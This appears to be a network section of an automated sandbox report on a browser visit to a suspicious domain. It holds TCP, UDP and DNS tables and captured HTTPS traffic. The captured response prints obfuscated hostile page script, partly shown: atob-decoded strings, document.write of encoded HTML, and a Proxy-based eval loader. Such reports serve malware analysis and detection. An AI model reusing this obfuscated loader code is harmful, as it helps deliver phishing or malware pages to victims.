Mar 19, 2025 17:56:48.717036009 CET	49727	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:48.717186928 CET	49727	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:48.717207909 CET	443	49727	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:49.485116005 CET	443	49727	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:49.485507011 CET	49727	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:49.485541105 CET	443	49727	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:49.485704899 CET	49727	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:49.485712051 CET	443	49727	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:49.692713976 CET	443	49727	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:49.693114042 CET	49727	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:49.693182945 CET	443	49727	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:49.693252087 CET	49727	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:49.693900108 CET	49728	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:49.693943977 CET	443	49728	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:49.694030046 CET	49728	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:49.694483995 CET	49728	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:49.694494963 CET	443	49728	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:50.461220980 CET	443	49728	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:50.461319923 CET	49728	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:50.461752892 CET	49728	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:50.461760998 CET	443	49728	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:50.461996078 CET	443	49728	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:50.462255001 CET	49728	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:50.470793962 CET	49731	443	192.168.2.16	142.250.186.68
Mar 19, 2025 17:56:50.470829010 CET	443	49731	142.250.186.68	192.168.2.16
Mar 19, 2025 17:56:50.470936060 CET	49731	443	192.168.2.16	142.250.186.68
Mar 19, 2025 17:56:50.471066952 CET	49731	443	192.168.2.16	142.250.186.68
Mar 19, 2025 17:56:50.471077919 CET	443	49731	142.250.186.68	192.168.2.16
Mar 19, 2025 17:56:50.508327007 CET	443	49728	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:50.667998075 CET	443	49728	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:50.668067932 CET	443	49728	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:50.668180943 CET	49728	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:50.668400049 CET	49728	443	192.168.2.16	35.190.80.1
Mar 19, 2025 17:56:50.668410063 CET	443	49728	35.190.80.1	192.168.2.16
Mar 19, 2025 17:56:51.555181980 CET	443	49731	142.250.186.68	192.168.2.16
Mar 19, 2025 17:56:51.555594921 CET	49731	443	192.168.2.16	142.250.186.68
Mar 19, 2025 17:56:51.555623055 CET	443	49731	142.250.186.68	192.168.2.16
Mar 19, 2025 17:56:52.735143900 CET	49732	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:56:52.735194921 CET	443	49732	188.114.96.3	192.168.2.16
Mar 19, 2025 17:56:52.735528946 CET	49732	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:56:52.735528946 CET	49732	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:56:52.735562086 CET	443	49732	188.114.96.3	192.168.2.16
Mar 19, 2025 17:56:53.620747089 CET	443	49732	188.114.96.3	192.168.2.16
Mar 19, 2025 17:56:53.621798992 CET	49732	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:56:53.621824026 CET	443	49732	188.114.96.3	192.168.2.16
Mar 19, 2025 17:57:01.547774076 CET	443	49731	142.250.186.68	192.168.2.16
Mar 19, 2025 17:57:01.547914028 CET	443	49731	142.250.186.68	192.168.2.16
Mar 19, 2025 17:57:01.547979116 CET	49731	443	192.168.2.16	142.250.186.68
Mar 19, 2025 17:57:01.845261097 CET	49731	443	192.168.2.16	142.250.186.68
Mar 19, 2025 17:57:01.845283031 CET	443	49731	142.250.186.68	192.168.2.16
Mar 19, 2025 17:57:08.434791088 CET	443	49732	188.114.96.3	192.168.2.16
Mar 19, 2025 17:57:08.434859991 CET	443	49732	188.114.96.3	192.168.2.16
Mar 19, 2025 17:57:08.435075998 CET	49732	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:57:09.842272997 CET	49732	443	192.168.2.16	188.114.96.3
Mar 19, 2025 17:57:09.842302084 CET	443	49732	188.114.96.3	192.168.2.16
Mar 19, 2025 17:57:50.530915976 CET	49735	443	192.168.2.16	142.250.186.68
Mar 19, 2025 17:57:50.531013012 CET	443	49735	142.250.186.68	192.168.2.16
Mar 19, 2025 17:57:50.531132936 CET	49735	443	192.168.2.16	142.250.186.68
Mar 19, 2025 17:57:50.531349897 CET	49735	443	192.168.2.16	142.250.186.68
Mar 19, 2025 17:57:50.531388998 CET	443	49735	142.250.186.68	192.168.2.16
Mar 19, 2025 17:57:51.621078014 CET	443	49735	142.250.186.68	192.168.2.16
Mar 19, 2025 17:57:51.663959980 CET	49735	443	192.168.2.16	142.250.186.68

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 17:55:45.590626001 CET	53	49774	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:45.679203987 CET	55905	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:45.679553986 CET	58261	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:45.693079948 CET	53	55905	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:45.693881035 CET	53	58261	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:45.758949041 CET	53	54301	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:47.550810099 CET	49597	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:47.551278114 CET	54350	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:47.552200079 CET	61833	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:47.552442074 CET	59377	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:47.553222895 CET	59612	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:47.553381920 CET	60224	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:47.557655096 CET	53	49597	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:47.557954073 CET	53	54350	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:47.558648109 CET	53	61833	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:47.559915066 CET	53	59612	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:47.560024977 CET	53	59377	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:47.560482025 CET	53	60224	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:48.715037107 CET	61059	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:48.715393066 CET	52114	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:48.722342014 CET	53	52114	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:48.722356081 CET	53	61059	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:49.744326115 CET	56159	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:49.744791985 CET	63213	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:49.752844095 CET	53	56159	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:49.754230976 CET	53	63213	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:50.407144070 CET	65381	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:50.407334089 CET	56736	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:55:50.414067984 CET	53	65381	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:50.415273905 CET	53	56736	1.1.1.1	192.168.2.16
Mar 19, 2025 17:55:56.797389030 CET	53	60830	1.1.1.1	192.168.2.16
Mar 19, 2025 17:56:07.314488888 CET	52633	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:56:07.314758062 CET	63050	53	192.168.2.16	1.1.1.1
Mar 19, 2025 17:56:07.366993904 CET	53	52633	1.1.1.1	192.168.2.16
Mar 19, 2025 17:56:07.461649895 CET	53	63050	1.1.1.1	192.168.2.16
Mar 19, 2025 17:56:13.848467112 CET	53	61731	1.1.1.1	192.168.2.16
Mar 19, 2025 17:56:32.888751030 CET	53	57463	1.1.1.1	192.168.2.16
Mar 19, 2025 17:56:45.598201990 CET	53	63812	1.1.1.1	192.168.2.16
Mar 19, 2025 17:56:47.211864948 CET	53	57910	1.1.1.1	192.168.2.16
Mar 19, 2025 17:56:49.781428099 CET	53	50111	1.1.1.1	192.168.2.16
Mar 19, 2025 17:56:55.229008913 CET	53	56378	1.1.1.1	192.168.2.16
Mar 19, 2025 17:57:03.176593065 CET	138	138	192.168.2.16	192.168.2.255
Mar 19, 2025 17:57:25.784127951 CET	53	56253	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 19, 2025 17:56:07.461731911 CET	192.168.2.16	1.1.1.1	c286	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 19, 2025 17:55:45.679203987 CET	192.168.2.16	1.1.1.1	0x6b62	Standard query (0)	abdxo.qdhfwaes.es	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:45.679553986 CET	192.168.2.16	1.1.1.1	0x1d62	Standard query (0)	abdxo.qdhfwaes.es	65	IN (0x0001)	false
Mar 19, 2025 17:55:47.550810099 CET	192.168.2.16	1.1.1.1	0x70b	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.551278114 CET	192.168.2.16	1.1.1.1	0xe1dc	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 19, 2025 17:55:47.552200079 CET	192.168.2.16	1.1.1.1	0x8199	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.552442074 CET	192.168.2.16	1.1.1.1	0x38d5	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 17:55:47.553222895 CET	192.168.2.16	1.1.1.1	0x39b6	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.553381920 CET	192.168.2.16	1.1.1.1	0xa3e1	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 17:55:48.715037107 CET	192.168.2.16	1.1.1.1	0x188a	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:48.715393066 CET	192.168.2.16	1.1.1.1	0x7380	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 17:55:49.744326115 CET	192.168.2.16	1.1.1.1	0x7679	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:49.744791985 CET	192.168.2.16	1.1.1.1	0x77d6	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 19, 2025 17:55:50.407144070 CET	192.168.2.16	1.1.1.1	0x12e9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:50.407334089 CET	192.168.2.16	1.1.1.1	0x4682	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 19, 2025 17:56:07.314488888 CET	192.168.2.16	1.1.1.1	0x4e05	Standard query (0)	mmeb6h.ptkeol.ru	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:56:07.314758062 CET	192.168.2.16	1.1.1.1	0xf539	Standard query (0)	mmeb6h.ptkeol.ru	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 19, 2025 17:55:45.693079948 CET	1.1.1.1	192.168.2.16	0x6b62	No error (0)	abdxo.qdhfwaes.es	188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:45.693079948 CET	1.1.1.1	192.168.2.16	0x6b62	No error (0)	abdxo.qdhfwaes.es	188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:45.693881035 CET	1.1.1.1	192.168.2.16	0x1d62	No error (0)	abdxo.qdhfwaes.es		65	IN (0x0001)	false
Mar 19, 2025 17:55:47.557655096 CET	1.1.1.1	192.168.2.16	0x70b	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.557655096 CET	1.1.1.1	192.168.2.16	0x70b	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.557655096 CET	1.1.1.1	192.168.2.16	0x70b	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.557655096 CET	1.1.1.1	192.168.2.16	0x70b	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.558648109 CET	1.1.1.1	192.168.2.16	0x8199	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.558648109 CET	1.1.1.1	192.168.2.16	0x8199	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.559915066 CET	1.1.1.1	192.168.2.16	0x39b6	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.559915066 CET	1.1.1.1	192.168.2.16	0x39b6	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:47.560024977 CET	1.1.1.1	192.168.2.16	0x38d5	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Mar 19, 2025 17:55:47.560482025 CET	1.1.1.1	192.168.2.16	0xa3e1	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Mar 19, 2025 17:55:48.722356081 CET	1.1.1.1	192.168.2.16	0x188a	No error (0)	a.nel.cloudflare.com	35.190.80.1	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:49.752844095 CET	1.1.1.1	192.168.2.16	0x7679	No error (0)	developers.cloudflare.com	104.16.2.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:49.752844095 CET	1.1.1.1	192.168.2.16	0x7679	No error (0)	developers.cloudflare.com	104.16.4.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:49.752844095 CET	1.1.1.1	192.168.2.16	0x7679	No error (0)	developers.cloudflare.com	104.16.3.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:49.752844095 CET	1.1.1.1	192.168.2.16	0x7679	No error (0)	developers.cloudflare.com	104.16.6.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:49.752844095 CET	1.1.1.1	192.168.2.16	0x7679	No error (0)	developers.cloudflare.com	104.16.5.189	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:49.754230976 CET	1.1.1.1	192.168.2.16	0x77d6	No error (0)	developers.cloudflare.com		65	IN (0x0001)	false
Mar 19, 2025 17:55:50.414067984 CET	1.1.1.1	192.168.2.16	0x12e9	No error (0)	www.google.com	142.250.186.68	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:55:50.415273905 CET	1.1.1.1	192.168.2.16	0x4682	No error (0)	www.google.com		65	IN (0x0001)	false
Mar 19, 2025 17:56:07.366993904 CET	1.1.1.1	192.168.2.16	0x4e05	No error (0)	mmeb6h.ptkeol.ru	188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:56:07.366993904 CET	1.1.1.1	192.168.2.16	0x4e05	No error (0)	mmeb6h.ptkeol.ru	188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 19, 2025 17:56:07.461649895 CET	1.1.1.1	192.168.2.16	0xf539	No error (0)	mmeb6h.ptkeol.ru		65	IN (0x0001)	false

HTTP Request Dependency Graph

abdxo.qdhfwaes.es

code.jquery.com

challenges.cloudflare.com

cdnjs.cloudflare.com

developers.cloudflare.com

mmeb6h.ptkeol.ru

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49692	188.114.96.3	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-19 16:55:46 UTC	660	OUT	GET /JYVwg6/ HTTP/1.1 Host: abdxo.qdhfwaes.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 16:55:47 UTC	1224	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 16:55:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WLt7U6%2F2fT3HnYjcCrVGggpr2I56jj5NZbrtui5vG8CJ%2Bq98RVDU7eMSTWrh5vHSMmQfXEeG2yasEQn50SKQtN13L6npRYsETiqi4raqRqnhNqgenbXu4YJoCv3S"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=33215&min_rtt=33072&rtt_var=9381&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1561&delivery_rate=121700&cwnd=213&unsent_bytes=0&cid=9d5a7dab9cb70c5b&ts=301&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImRsaFV3VDkyRG5jWi9VUHA4cXAzQVE9PSIsInZhbHVlIjoiNUU5T0J4cktyb3Rvd3gwbjhOMW1UUmg4aW5oa0JQcXRReHZsd0dwVXlXYnRHWGNsMkh1S2ZTMVFpV2prSU1ZeldKZllRaWtSN1lycmJVVk12QlhrUGNNak5DM2lzN2diVVF4L3ZtWllIVHptcGNjbjkzdXlZSnArd3ZOekd4NDYiLCJtYWMiOiJhM2QxY2NlOTg5YzRmOWJlMjY5ZjA2ODZjZTMzZjdmYTQyMjhjMTlhNzhmZjZjNzAxYjNjYmRiZWY2N2MzZDc3IiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Wed, 19 Mar 2025 18:55:46 GMT
2025-03-19 16:55:47 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 6b 33 52 6b 4e 73 64 44 5a 4c 51 6d 49 32 4d 79 39 4a 64 7a 6b 30 51 57 31 34 61 56 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 6a 4a 51 53 58 56 45 51 58 68 4c 63 57 63 72 63 46 64 4a 52 32 59 79 53 54 45 7a 52 44 68 44 63 6a 68 33 61 6b 52 51 51 32 68 36 54 6b 46 43 51 57 6c 58 51 57 74 45 59 6d 6c 4a 62 6a 59 34 4d 57 52 76 55 46 6c 68 55 58 68 56 52 33 64 6a 4f 55 68 77 63 33 5a 52 59 7a 67 7a 65 46 6b 79 63 30 4a 50 51 58 59 33 55 6c 59 34 59 32 56 52 52 6c 5a 54 62 31 46 57 5a 46 52 6d 52 48 45 78 63 54 56 34 59 58 52 6b 52 56 4a 4c 62 55 64 30 56 48 42 47 56 31 46 69 64 56 42 34 4d 6c 64 48 4b 31 46 71 59 54 5a 35 57 6e 4d Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ilk3RkNsdDZLQmI2My9Jdzk0QW14aVE9PSIsInZhbHVlIjoiZjJQSXVEQXhLcWcrcFdJR2YySTEzRDhDcjh3akRQQ2h6TkFCQWlXQWtEYmlJbjY4MWRvUFlhUXhVR3djOUhwc3ZRYzgzeFkyc0JPQXY3UlY4Y2VRRlZTb1FWZFRmRHExcTV4YXRkRVJLbUd0VHBGV1FidVB4MldHK1FqYTZ5WnM
2025-03-19 16:55:47 UTC	986	IN	Data Raw: 31 63 62 35 0d 0a 3c 73 63 72 69 70 74 3e 0a 77 4b 6f 73 68 5a 6e 6f 5a 78 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 43 61 55 38 75 63 57 52 6f 5a 6e 64 68 5a 58 4d 75 5a 58 4d 76 53 6c 6c 57 64 32 63 32 4c 77 3d 3d 22 29 3b 0a 7a 5a 7a 56 61 77 55 74 5a 44 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 54 78 76 62 44 6e 76 6e 53 43 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 77 4b 6f 73 68 5a 6e 6f 5a 78 20 3d 3d 20 7a 5a 7a 56 61 77 55 74 5a 44 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 54 78 76 62 44 6e 76 6e 53 43 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f Data Ascii: 1cb5<script>wKoshZnoZx = atob("aHR0cHM6Ly9CaU8ucWRoZndhZXMuZXMvSllWd2c2Lw==");zZzVawUtZD = atob("bm9tYXRjaA==");TxvbDnvnSC = atob("d3JpdGU=");if(wKoshZnoZx == zZzVawUtZD){document[TxvbDnvnSC](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxo
2025-03-19 16:55:47 UTC	1369	IN	Data Raw: 34 66 53 39 6e 4c 43 42 45 63 48 6c 70 59 57 70 4f 63 31 46 61 49 44 30 2b 43 69 41 67 49 43 41 67 49 46 4e 30 63 6d 6c 75 5a 79 35 6d 63 6d 39 74 51 32 68 68 63 6b 4e 76 5a 47 55 6f 63 47 46 79 63 32 56 4a 62 6e 51 6f 52 48 42 35 61 57 46 71 54 6e 4e 52 57 69 77 67 4d 69 6b 70 43 69 41 67 49 43 41 70 4f 77 6f 67 49 43 41 67 63 6d 56 30 64 58 4a 75 49 47 56 32 59 57 77 6f 59 6e 42 31 64 45 4e 75 64 57 74 58 65 53 6b 37 43 69 41 67 66 51 70 39 4f 77 70 6a 62 32 35 7a 64 43 42 4b 64 45 4e 56 5a 47 5a 54 59 6d 64 55 49 44 30 67 62 6d 56 33 49 46 42 79 62 33 68 35 4b 48 74 39 4c 43 42 6a 56 45 56 54 54 30 31 30 65 47 39 46 4b 54 73 4b 53 6e 52 44 56 57 52 6d 55 32 4a 6e 56 46 73 69 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 Data Ascii: 4fS9nLCBEcHlpYWpOc1FaID0+CiAgICAgIFN0cmluZy5mcm9tQ2hhckNvZGUocGFyc2VJbnQoRHB5aWFqTnNRWiwgMikpCiAgICApOwogICAgcmV0dXJuIGV2YWwoYnB1dENudWtXeSk7CiAgfQp9Owpjb25zdCBKdENVZGZTYmdUID0gbmV3IFByb3h5KHt9LCBjVEVTT010eG9FKTsKSnRDVWRmU2JnVFsi776g44Wk44Wk776g44Wk776g77
2025-03-19 16:55:47 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 Data Ascii: 776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk776g44Wk776g776g776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44W
2025-03-19 16:55:47 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b Data Ascii: 4Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk
2025-03-19 16:55:47 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 Data Ascii: Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk776g776g44Wk776g4
